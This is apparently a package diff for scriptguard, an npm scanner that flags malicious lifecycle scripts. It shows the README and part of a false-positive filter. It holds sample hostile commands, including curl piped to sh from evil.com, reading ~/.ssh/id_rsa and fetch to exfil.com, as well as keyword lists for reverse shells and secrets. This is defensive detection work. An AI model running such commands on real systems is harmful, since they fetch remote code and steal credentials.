scriptguard 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. package/README.md +430 -0
  2. package/dist/ai/analyzers/false-positive-filter.d.ts +15 -0
  3. package/dist/ai/analyzers/false-positive-filter.d.ts.map +1 -0
  4. package/dist/ai/analyzers/false-positive-filter.js +162 -0
  5. package/dist/ai/analyzers/false-positive-filter.js.map +1 -0
  6. package/dist/ai/analyzers/insight-generator.d.ts +7 -0
  7. package/dist/ai/analyzers/insight-generator.d.ts.map +1 -0
  8. package/dist/ai/analyzers/insight-generator.js +384 -0
  9. package/dist/ai/analyzers/insight-generator.js.map +1 -0
  10. package/dist/ai/analyzers/threat-detector.d.ts +7 -0
  11. package/dist/ai/analyzers/threat-detector.d.ts.map +1 -0
  12. package/dist/ai/analyzers/threat-detector.js +249 -0
  13. package/dist/ai/analyzers/threat-detector.js.map +1 -0
  14. package/dist/ai/gemini-client.d.ts +47 -0
  15. package/dist/ai/gemini-client.d.ts.map +1 -0
  16. package/dist/ai/gemini-client.js +222 -0
  17. package/dist/ai/gemini-client.js.map +1 -0
  18. package/dist/ai/index.d.ts +8 -0
  19. package/dist/ai/index.d.ts.map +1 -0
  20. package/dist/ai/index.js +19 -0
  21. package/dist/ai/index.js.map +1 -0
  22. package/dist/ai/prompts.d.ts +11 -0
  23. package/dist/ai/prompts.d.ts.map +1 -0
  24. package/dist/ai/prompts.js +212 -0
  25. package/dist/ai/prompts.js.map +1 -0
  26. package/dist/cli.d.ts +4 -0
  27. package/dist/cli.d.ts.map +1 -0
  28. package/dist/cli.js +283 -0
  29. package/dist/cli.js.map +1 -0
  30. package/dist/index.d.ts +6 -0
  31. package/dist/index.d.ts.map +1 -0
  32. package/dist/index.js +16 -0
  33. package/dist/index.js.map +1 -0
  34. package/dist/scanners/index.d.ts +10 -0
  35. package/dist/scanners/index.d.ts.map +1 -0
  36. package/dist/scanners/index.js +202 -0
  37. package/dist/scanners/index.js.map +1 -0
  38. package/dist/scanners/lifecycle.d.ts +10 -0
  39. package/dist/scanners/lifecycle.d.ts.map +1 -0
  40. package/dist/scanners/lifecycle.js +202 -0
  41. package/dist/scanners/lifecycle.js.map +1 -0
  42. package/dist/scanners/patterns.d.ts +4 -0
  43. package/dist/scanners/patterns.d.ts.map +1 -0
  44. package/dist/scanners/patterns.js +188 -0
  45. package/dist/scanners/patterns.js.map +1 -0
  46. package/dist/types/index.d.ts +123 -0
  47. package/dist/types/index.d.ts.map +1 -0
  48. package/dist/types/index.js +4 -0
  49. package/dist/types/index.js.map +1 -0
  50. package/package.json +46 -0
package/README.md ADDED
@@ -0,0 +1,430 @@
1
+ # ScriptGuard 🔒
2
+
3
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
4
+ [![Build Status](https://img.shields.io/badge/build-passing-brightgreen)](https://github.com/ferrierepete/scriptguard)
5
+ [![Node.js Version](https://img.shields.io/node/v/scriptguard.svg)](https://nodejs.org)
6
+
7
+ > **Security scanner for npm package lifecycle scripts** — detect malicious `postinstall`, `preinstall`, and `prepare` scripts before they run.
8
+
9
+ npm supply chain attacks often hide in lifecycle scripts — code that runs automatically during `npm install`. ScriptGuard scans installed packages and flags dangerous patterns like remote code execution, credential theft, data exfiltration, and obfuscated payloads.
10
+
11
+ ## Install
12
+
13
+ ### Option 1: Install from source (current)
14
+
15
+ ```bash
16
+ # Clone the repository
17
+ git clone https://github.com/ferrierepete/scriptguard.git
18
+ cd scriptguard
19
+
20
+ # Install dependencies
21
+ npm install
22
+
23
+ # Build the project
24
+ npm run build
25
+
26
+ # Install globally
27
+ npm link
28
+ ```
29
+
30
+ ### Option 2: Run directly without installation
31
+
32
+ ```bash
33
+ # Clone and run
34
+ git clone https://github.com/ferrierepete/scriptguard.git
35
+ cd scriptguard
36
+ npm install
37
+ npm run build
38
+ node dist/cli.js scan
39
+ ```
40
+
41
+ ### Option 3: Install via npm (coming soon)
42
+
43
+ ```bash
44
+ # Package will be published to npm soon
45
+ npm install -g scriptguard
46
+ ```
47
+
48
+ > **Note**: This project is currently in development. To use it today, install from source using Option 1 or Option 2.
49
+
50
+ ## Usage
51
+
52
+ ### Scan your project
53
+
54
+ ```bash
55
+ # Scan all installed packages for malicious lifecycle scripts
56
+ scriptguard scan
57
+
58
+ # Scan a specific project path
59
+ scriptguard scan --path /path/to/project
60
+
61
+ # Output as JSON for CI pipelines
62
+ scriptguard scan --format json
63
+
64
+ # Fail CI if high/critical findings found
65
+ scriptguard scan --fail-on high
66
+
67
+ # SARIF output for GitHub Advanced Security
68
+ scriptguard scan --format sarif
69
+ ```
70
+
71
+ ### Check a single package.json
72
+
73
+ ```bash
74
+ scriptguard check ./package.json
75
+ scriptguard check ./some-module/package.json --format json
76
+ ```
77
+
78
+ ### List all detection patterns
79
+
80
+ ```bash
81
+ scriptguard patterns
82
+ ```
83
+
84
+ ### AI-Powered Analysis (Optional)
85
+
86
+ ScriptGuard can use Google Gemini AI to enhance security scans with contextual analysis:
87
+
88
+ ```bash
89
+ # Enable AI analysis
90
+ export GOOGLE_AI_API_KEY=your_key_here
91
+ scriptguard scan --ai
92
+
93
+ # Choose analysis depth
94
+ scriptguard scan --ai --ai-mode basic # Quick false positive filtering
95
+ scriptguard scan --ai --ai-mode standard # Full analysis (default)
96
+ scriptguard scan --ai --ai-mode thorough # Deep analysis with correlation
97
+
98
+ # Control costs and timeouts
99
+ scriptguard scan --ai --ai-max-tokens 500 --ai-timeout 5000
100
+
101
+ # Include remediation recommendations
102
+ scriptguard scan --ai --ai-mitigation
103
+ ```
104
+
105
+ **What AI adds:**
106
+ - ✅ **Reduces false positives** by understanding context (e.g., `process.env.PORT` vs `process.env.AWS_SECRET_KEY`)
107
+ - ✅ **Detects advanced threats** like obfuscated code, novel attack patterns, and multi-stage attacks
108
+ - ✅ **Provides actionable insights** with attack technique identification and remediation guidance
109
+
110
+ **Get an API key:**
111
+ 1. Visit https://makersuite.google.com/app/apikey
112
+ 2. Create a new API key (free tier available)
113
+ 3. Set as environment variable: `export GOOGLE_AI_API_KEY=your_key`
114
+
115
+ **Model & Pricing:**
116
+ - **Model**: `gemini-3-flash-preview` (fast, cost-effective)
117
+ - **Estimated cost**: ~$0.00002 per 100 packages (based on ~2,000 tokens/scan)
118
+ - **Actual test results**:
119
+ - Basic mode: 405 tokens (~$0.000004)
120
+ - Standard mode: 1,640 tokens (~$0.000016)
121
+ - Thorough mode: ~2,500 tokens (~$0.000025)
122
+
123
+ ⚠️ **Pricing varies by region and usage tier**. For current pricing, see:
124
+ - [Gemini 3 Documentation](https://ai.google.dev/gemini-api/docs/gemini-3)
125
+ - [Gemini Pricing](https://ai.google.dev/pricing)
126
+
127
+ **Cost control tips:**
128
+ - Use `--ai-mode basic` for CI/CD (4x cheaper)
129
+ - Set `--ai-max-tokens` to limit usage per scan
130
+ - Results are cached for 24 hours (same packages = free rescan)
131
+
132
+ ## What It Detects
133
+
134
+ ScriptGuard uses 26 detection patterns across 6 categories:
135
+
136
+ | Category | Examples |
137
+ |----------|---------|
138
+ | **Network** | `curl \| bash`, silent HTTP requests, DNS exfiltration |
139
+ | **Execution** | `eval()`, `child_process`, shell exec, `node -e` |
140
+ | **Filesystem** | SSH key access, AWS credential reading, `/etc/passwd` access |
141
+ | **Exfiltration** | `process.env` reads, clipboard access, keychain access |
142
+ | **Obfuscation** | base64 decode + eval, hex-encoded payloads |
143
+ | **Crypto** | Cryptocurrency miners, reverse shells |
144
+
145
+ ## Output Formats
146
+
147
+ - **Table** (default) — human-readable terminal output with risk scores
148
+ - **JSON** — structured data for tooling integration
149
+ - **SARIF** — GitHub Advanced Security compatible format
150
+
151
+ ## CI/CD Integration
152
+
153
+ ### When published to npm (coming soon)
154
+
155
+ ```yaml
156
+ # GitHub Actions
157
+ - name: ScriptGuard Security Scan
158
+ run: npx scriptguard scan --fail-on high --format sarif > scriptguard-results.sarif
159
+ ```
160
+
161
+ ### Installing from source (current)
162
+
163
+ ```yaml
164
+ # GitHub Actions
165
+ - name: ScriptGuard Security Scan
166
+ run: |
167
+ git clone https://github.com/ferrierepete/scriptguard.git
168
+ cd scriptguard
169
+ npm install
170
+ npm run build
171
+ node dist/cli.js scan --fail-on high --format sarif > scriptguard-results.sarif
172
+ ```
173
+
174
+ ## Programmatic API
175
+
176
+ ```typescript
177
+ import { scanProject, analyzePackage } from 'scriptguard';
178
+
179
+ // Scan an entire project
180
+ const result = scanProject({ path: '.', includeDev: false, minRiskLevel: 'low', format: 'table' });
181
+ console.log(`Found ${result.totalFindings} findings`);
182
+
183
+ // Analyze a single package's scripts
184
+ const analysis = analyzePackage('my-pkg', '1.0.0', { postinstall: 'curl http://evil.com | sh' });
185
+ console.log(analysis.riskLevel); // 'critical'
186
+ ```
187
+
188
+ ## Why This Exists
189
+
190
+ - **824+ malicious OpenClaw skills** were found on ClawHub (20% contamination rate)
191
+ - **pino-SDK-v2** exfiltrated `.env` secrets to Discord via postinstall
192
+ - **Shai-Hulud** supply chain attack compromised hundreds of npm packages
193
+ - `npm audit` only checks for known CVEs — not malicious behavior patterns
194
+ - No dedicated tool existed for scanning lifecycle scripts
195
+
196
+ ## Tech Stack
197
+
198
+ - TypeScript, Node.js 18+
199
+ - Commander.js (CLI), Zod (validation)
200
+ - Optional AI: Google Gemini API (requires `GOOGLE_AI_API_KEY`)
201
+ - Zero runtime dependencies beyond CLI framework
202
+
203
+ ## Example Output
204
+
205
+ ```bash
206
+ $ scriptguard scan
207
+
208
+ 🔒 ScriptGuard — npm Lifecycle Script Security Scanner
209
+
210
+ Scanned 156 packages (42 with lifecycle scripts) in 23ms
211
+
212
+ Summary
213
+ Overall Risk: HIGH (52/100)
214
+ Findings: 8 total — 🔴 2 critical | 🟠 3 high | 🟡 2 medium | ⚪ 1 low
215
+
216
+ Findings
217
+ ──────────────────────────────────────────────────────────────────────
218
+
219
+ suspicious-package@2.1.0 🔴 CRITICAL [85/100]
220
+ 🔴 CRITICAL curl-pipe
221
+ Downloads and executes remote code via curl pipe
222
+ Match: curl -s https://evil.com/payload.sh | bash
223
+
224
+ 🔴 CRITICAL ssh-access
225
+ Accesses SSH keys — credential theft risk
226
+ Match: cat ~/.ssh/id_rsa
227
+
228
+ data-exfil@1.0.3 🟠 HIGH [65/100]
229
+ 🟠 HIGH env-exfil
230
+ Reads environment variables — may contain secrets
231
+ Match: process.env
232
+
233
+ 🟠 HIGH http-request
234
+ Outbound HTTP request detected
235
+ Match: fetch('https://exfil.com/data')
236
+
237
+ ──────────────────────────────────────────────────────────────────────
238
+ ```
239
+
240
+ ## Performance
241
+
242
+ ScriptGuard is optimized for speed:
243
+
244
+ ### Regex-Only Scanning (Default)
245
+
246
+ | Project Size | Packages | Scan Time |
247
+ |--------------|----------|-----------|
248
+ | Small | < 50 | ~5-15ms |
249
+ | Medium | 50-200 | ~15-40ms |
250
+ | Large | 200-1000 | ~40-150ms |
251
+ | Monorepo | 1000+ | ~150-500ms |
252
+
253
+ **Why so fast?**
254
+ - Single-pass file system traversal
255
+ - No network requests during scanning
256
+ - Regex-based pattern matching (compiled at startup)
257
+ - Parallel-friendly architecture
258
+
259
+ ### AI-Enabled Scanning (with `--ai`)
260
+
261
+ | Mode | Time (100 pkgs) | Tokens | Cost |
262
+ |------|-----------------|--------|------|
263
+ | Basic | +25s | 405 | ~$0.000004 |
264
+ | Standard | +30s | 1,640 | ~$0.000016 |
265
+ | Thorough | +35s | ~2,500 | ~$0.000025 |
266
+
267
+ **AI performance notes:**
268
+ - Times are **additional** to regex scanning
269
+ - Actual results from real scans (78 packages)
270
+ - Token usage varies by package complexity
271
+ - 24-hour response caching (same packages = instant)
272
+ - See [Gemini 3 Pricing](https://ai.google.dev/gemini-api/docs/gemini-3) for current rates
273
+
274
+ ## FAQ
275
+
276
+ ### Does ScriptGuard execute any code from packages?
277
+
278
+ **No.** ScriptGuard only reads `package.json` files and analyzes script contents as strings. It never executes, requires, or runs code from scanned packages.
279
+
280
+ ### What about false positives?
281
+
282
+ Some legitimate packages use lifecycle scripts for build steps, binaries, or platform-specific installations. ScriptGuard flags these as **LOW** risk with the pattern `lifecycle-script-present`. Review these manually to decide if they're safe for your environment.
283
+
284
+ ### Can I suppress specific findings?
285
+
286
+ Not currently. If you have legitimate use cases that trigger warnings, consider:
287
+ 1. Using `--min-risk high` to filter out low/medium findings
288
+ 2. Adding package-specific exclusions in your CI pipeline
289
+ 3. Contributing a `.scriptguardignore` feature request!
290
+
291
+ ### How does this differ from `npm audit`?
292
+
293
+ | | npm audit | ScriptGuard |
294
+ |---|-----------|-------------|
295
+ | What it checks | Known CVEs in dependencies | Malicious behavior patterns |
296
+ | Detection method | Vulnerability database | Static code analysis |
297
+ | What it catches | Outdated versions with known exploits | Zero-day attacks, obfuscated code |
298
+ | Scope | All dependency code | Lifecycle scripts only |
299
+
300
+ Use them together for comprehensive coverage.
301
+
302
+ ### Should I run this in CI?
303
+
304
+ **Absolutely.** Add ScriptGuard to your CI pipeline to catch supply chain attacks before they reach production:
305
+
306
+ ```yaml
307
+ # When published to npm (coming soon)
308
+ - name: Run ScriptGuard
309
+ run: npx scriptguard scan --fail-on high
310
+
311
+ # Installing from source (current)
312
+ - name: Run ScriptGuard
313
+ run: |
314
+ git clone https://github.com/ferrierepete/scriptguard.git
315
+ cd scriptguard
316
+ npm install
317
+ npm run build
318
+ node dist/cli.js scan --fail-on high
319
+ ```
320
+
321
+ ## Troubleshooting
322
+
323
+ ### "No node_modules found"
324
+
325
+ ScriptGuard expects to run in a directory with a `node_modules` folder. If you're in a monorepo or using a different structure:
326
+ ```bash
327
+ scriptguard scan --path ./packages/frontend
328
+ ```
329
+
330
+ ### High memory usage on large projects
331
+
332
+ If scanning 1000+ packages causes memory issues:
333
+ ```bash
334
+ # Scan individual package directories
335
+ scriptguard scan --path ./node_modules/package-name
336
+ ```
337
+
338
+ ### Permission errors reading package.json
339
+
340
+ Some packages have restricted file permissions. ScriptGuard will skip these and continue scanning other packages. Check your file system permissions if you see many skipped packages.
341
+
342
+ ## Development
343
+
344
+ Want to contribute or hack on ScriptGuard?
345
+
346
+ ```bash
347
+ # Clone the repo
348
+ git clone https://github.com/ferrierepete/scriptguard.git
349
+ cd scriptguard
350
+
351
+ # Install dependencies
352
+ npm install
353
+
354
+ # Run tests
355
+ npm test
356
+
357
+ # Watch mode for development
358
+ npm run test:watch
359
+
360
+ # Build TypeScript
361
+ npm run build
362
+
363
+ # Run locally (before publishing)
364
+ npm link
365
+ scriptguard scan
366
+ ```
367
+
368
+ ### Project Structure
369
+
370
+ ```
371
+ scriptguard/
372
+ ├── src/
373
+ │ ├── cli.ts # Commander.js CLI entry point
374
+ │ ├── index.ts # Public API exports
375
+ │ ├── types/
376
+ │ │ └── index.ts # TypeScript definitions
377
+ │ └── scanners/
378
+ │ ├── index.ts # Scan orchestration
379
+ │ ├── lifecycle.ts # package.json parsing
380
+ │ └── patterns.ts # 26 detection rules
381
+ ├── tests/
382
+ │ ├── scanner.test.ts # Vitest test suite
383
+ │ └── fixtures/ # Sample package.json files
384
+ └── dist/ # Compiled JavaScript (generated)
385
+ ```
386
+
387
+ ### Adding New Detection Patterns
388
+
389
+ Edit `src/scanners/patterns.ts` and add to the `PATTERN_RULES` array:
390
+
391
+ ```typescript
392
+ {
393
+ name: 'your-pattern',
394
+ pattern: /your-regex-here/,
395
+ riskLevel: 'high', // or 'critical', 'medium', 'low'
396
+ description: 'What this pattern detects',
397
+ category: 'network', // or 'execution', 'filesystem', etc.
398
+ }
399
+ ```
400
+
401
+ Then add tests in `tests/scanner.test.ts`.
402
+
403
+ ## Contributing
404
+
405
+ Contributions are welcome! Here's how to help:
406
+
407
+ 1. **Report bugs** — Open an issue with reproduction steps
408
+ 2. **Suggest features** — Share your use case in Discussions
409
+ 3. **Submit patterns** — Add new detection rules (see above)
410
+ 4. **Improve docs** — Fix typos, clarify examples
411
+ 5. **Fix bugs** — Pull requests welcome!
412
+
413
+ See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
414
+
415
+ ## Resources
416
+
417
+ - **GitHub Repository**: https://github.com/ferrierepete/scriptguard
418
+ - **Report Issues**: https://github.com/ferrierepete/scriptguard/issues
419
+ - **Discussions**: https://github.com/ferrierepete/scriptguard/discussions
420
+ - **npm Package** (coming soon): Will be published at https://www.npmjs.com/package/scriptguard
421
+
422
+ ## Related Tools
423
+
424
+ - [npm audit](https://docs.npmjs.com/cli/v8/commands/npm-audit) — Official vulnerability scanner
425
+ - [snyk](https://snyk.io/) — Dependency vulnerability monitoring
426
+ - [lockfile-lint](https://github.com/lirantal/lockfile-lint) — Lockfile policy enforcement
427
+
428
+ ## License
429
+
430
+ MIT © [Peter Ferriere](https://github.com/ferrierepete)
@@ -0,0 +1,15 @@
1
+ /** ScriptGuard — False positive filter analyzer */
2
+ import type { PackageAnalysis, Finding, AIInsight } from '../../types/index.js';
3
+ /**
4
+ * Analyze findings to identify false positives
5
+ * This is a lightweight analyzer that works in conjunction with AI analysis
6
+ */
7
+ export declare function analyzeFalsePositives(analysis: PackageAnalysis, aiInsights: AIInsight[]): {
8
+ filteredFindings: Finding[];
9
+ falsePositivesFiltered: number;
10
+ };
11
+ /**
12
+ * Calculate confidence score for false positive determination
13
+ */
14
+ export declare function getFalsePositiveConfidence(finding: Finding, analysis: PackageAnalysis): number;
15
+ //# sourceMappingURL=false-positive-filter.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"false-positive-filter.d.ts","sourceRoot":"","sources":["../../../src/ai/analyzers/false-positive-filter.ts"],"names":[],"mappings":"AAAA,mDAAmD;AAEnD,OAAO,KAAK,EAAE,eAAe,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEhF;;;GAGG;AACH,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,eAAe,EACzB,UAAU,EAAE,SAAS,EAAE,GACtB;IACD,gBAAgB,EAAE,OAAO,EAAE,CAAC;IAC5B,sBAAsB,EAAE,MAAM,CAAC;CAChC,CAyBA;AA6HD;;GAEG;AACH,wBAAgB,0BAA0B,CAAC,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,eAAe,GAAG,MAAM,CA0B9F"}
@@ -0,0 +1,162 @@
1
+ "use strict";
2
+ /** ScriptGuard — False positive filter analyzer */
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ exports.analyzeFalsePositives = analyzeFalsePositives;
5
+ exports.getFalsePositiveConfidence = getFalsePositiveConfidence;
6
+ /**
7
+ * Analyze findings to identify false positives
8
+ * This is a lightweight analyzer that works in conjunction with AI analysis
9
+ */
10
+ function analyzeFalsePositives(analysis, aiInsights) {
11
+ const filteredFindings = [];
12
+ let falsePositivesFiltered = 0;
13
+ // Get AI-identified false positives
14
+ const aiFalsePositives = new Set(aiInsights
15
+ .filter(insight => insight.type === 'false-positive')
16
+ .map(insight => insight.description));
17
+ for (const finding of analysis.findings) {
18
+ const isFalsePositive = isLikelyFalsePositive(finding, analysis);
19
+ if (isFalsePositive || aiMatchesFinding(finding, aiFalsePositives)) {
20
+ falsePositivesFiltered++;
21
+ }
22
+ else {
23
+ filteredFindings.push(finding);
24
+ }
25
+ }
26
+ return {
27
+ filteredFindings,
28
+ falsePositivesFiltered,
29
+ };
30
+ }
31
+ /**
32
+ * Rule-based false positive detection
33
+ * Works independently of AI to catch obvious cases
34
+ */
35
+ function isLikelyFalsePositive(finding, analysis) {
36
+ const { pattern, scriptContent, scriptName } = finding;
37
+ // Known safe patterns in specific contexts
38
+ // 1. child_process for build tools (esbuild, webpack, vite, etc.)
39
+ if (pattern === 'child-process') {
40
+ const safeBuildTools = [
41
+ 'esbuild', 'webpack', 'vite', 'rollup', 'tsc', 'ts-node',
42
+ 'babel', 'prebuild', 'postbuild', 'node-gyp', 'node-pre-gyp',
43
+ 'cmake', 'make', 'gyp', 'preinstall', 'npm run'
44
+ ];
45
+ const scriptLower = scriptContent.toLowerCase();
46
+ if (safeBuildTools.some(tool => scriptLower.includes(tool))) {
47
+ return true;
48
+ }
49
+ }
50
+ // 2. process.env for configuration (not exfiltration)
51
+ if (pattern === 'env-exfil') {
52
+ const safeEnvVars = [
53
+ 'PORT', 'HOST', 'NODE_ENV', 'DEBUG', 'VERBOSE', 'LOG_LEVEL',
54
+ 'CI', 'DEPLOYMENT', 'ENVIRONMENT', 'CONFIG', 'PATH',
55
+ 'HOME', 'TMP', 'TEMP', 'USER', 'SHELL'
56
+ ];
57
+ const hasSafeEnv = safeEnvVars.some(envVar => scriptContent.includes(`process.env.${envVar}`) ||
58
+ scriptContent.includes(`${envVar}=`));
59
+ const hasSuspiciousEnv = [
60
+ 'SECRET', 'KEY', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AWS_',
61
+ 'API_KEY', 'PRIVATE', 'AUTH'
62
+ ].some(suspicious => scriptContent.toLowerCase().includes(suspicious.toLowerCase()));
63
+ // Only mark as false positive if we see safe env vars but no suspicious ones
64
+ if (hasSafeEnv && !hasSuspiciousEnv) {
65
+ return true;
66
+ }
67
+ }
68
+ // 3. HTTP requests to well-known CDN/registry (not data exfiltration)
69
+ if (pattern === 'http-request' || pattern === 'curl-silent') {
70
+ const safeDomains = [
71
+ 'npmjs.com', 'unpkg.com', 'cdn.jsdelivr.net', 'cdn.skypack.dev',
72
+ 'esm.sh', 'github.com', 'raw.githubusercontent.com',
73
+ 'registry.npmjs.org', 'registry.yarnpkg.com'
74
+ ];
75
+ const hasSafeDomain = safeDomains.some(domain => scriptContent.includes(domain));
76
+ const hasSuspiciousDomain = [
77
+ 'pastebin', 'transfer.sh', 'tinyurl', 'bit.ly', 'discord',
78
+ 'exfil', 'evil', 'malware', 'payload'
79
+ ].some(suspicious => scriptContent.toLowerCase().includes(suspicious));
80
+ if (hasSafeDomain && !hasSuspiciousDomain) {
81
+ return true;
82
+ }
83
+ }
84
+ // 4. chmod for making binaries executable (common in native modules)
85
+ if (pattern === 'chmod-exec') {
86
+ const binaryExtensions = ['.exe', '.bin', '.node', '.sh', '.bash'];
87
+ const hasBinary = binaryExtensions.some(ext => scriptContent.includes(ext));
88
+ const hasSuspiciousTarget = [
89
+ '/bin/bash', '/bin/sh', 'authorized_keys', 'ssh',
90
+ 'password', 'secret', 'credential'
91
+ ].some(suspicious => scriptContent.toLowerCase().includes(suspicious.toLowerCase()));
92
+ if (hasBinary && !hasSuspiciousTarget) {
93
+ return true;
94
+ }
95
+ }
96
+ // 5. Write to temp dir for legitimate build purposes
97
+ if (pattern === 'tmp-write') {
98
+ const legitimateTempUsage = [
99
+ 'extract', 'download', 'cache', 'build', 'compile',
100
+ 'install', 'binary', 'artifact'
101
+ ];
102
+ const hasLegitimatePurpose = legitimateTempUsage.some(purpose => scriptContent.toLowerCase().includes(purpose));
103
+ const hasSuspiciousPurpose = [
104
+ 'reverse', 'shell', 'payload', 'malware', 'evil'
105
+ ].some(suspicious => scriptContent.toLowerCase().includes(suspicious));
106
+ if (hasLegitimatePurpose && !hasSuspiciousPurpose) {
107
+ return true;
108
+ }
109
+ }
110
+ return false;
111
+ }
112
+ /**
113
+ * Check if AI identified this finding as a false positive
114
+ */
115
+ function aiMatchesFinding(finding, aiFalsePositives) {
116
+ // Check if any AI false positive description mentions this pattern or match
117
+ for (const aiDesc of aiFalsePositives) {
118
+ if (aiDesc.toLowerCase().includes(finding.pattern.toLowerCase()) ||
119
+ aiDesc.toLowerCase().includes(finding.match.toLowerCase().substring(0, 50))) {
120
+ return true;
121
+ }
122
+ }
123
+ return false;
124
+ }
125
+ /**
126
+ * Calculate confidence score for false positive determination
127
+ */
128
+ function getFalsePositiveConfidence(finding, analysis) {
129
+ let confidence = 0.5; // Base confidence
130
+ const { pattern, scriptContent } = finding;
131
+ // Higher confidence for well-known packages
132
+ if (isWellKnownPackage(analysis.name)) {
133
+ confidence += 0.2;
134
+ }
135
+ // Higher confidence if script is simple and clear
136
+ if (scriptContent.length < 200) {
137
+ confidence += 0.1;
138
+ }
139
+ // Lower confidence for complex scripts
140
+ if (scriptContent.length > 500) {
141
+ confidence -= 0.1;
142
+ }
143
+ // Lower confidence for critical patterns
144
+ if (finding.riskLevel === 'critical') {
145
+ confidence -= 0.2;
146
+ }
147
+ return Math.max(0, Math.min(1, confidence));
148
+ }
149
+ /**
150
+ * Check if package is well-known/legitimate
151
+ */
152
+ function isWellKnownPackage(packageName) {
153
+ const knownPackages = [
154
+ 'eslint', 'prettier', 'typescript', 'babel', 'webpack',
155
+ 'vite', 'rollup', 'esbuild', 'jest', 'vitest', 'mocha',
156
+ 'lodash', 'axios', 'react', 'vue', 'angular', 'svelte',
157
+ 'express', 'koa', 'fastify', 'next', 'nuxt', 'gatsby',
158
+ '@types', '@babel', '@typescript', '@vue', '@angular'
159
+ ];
160
+ return knownPackages.some(known => packageName.startsWith(known));
161
+ }
162
+ //# sourceMappingURL=false-positive-filter.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"false-positive-filter.js","sourceRoot":"","sources":["../../../src/ai/analyzers/false-positive-filter.ts"],"names":[],"mappings":"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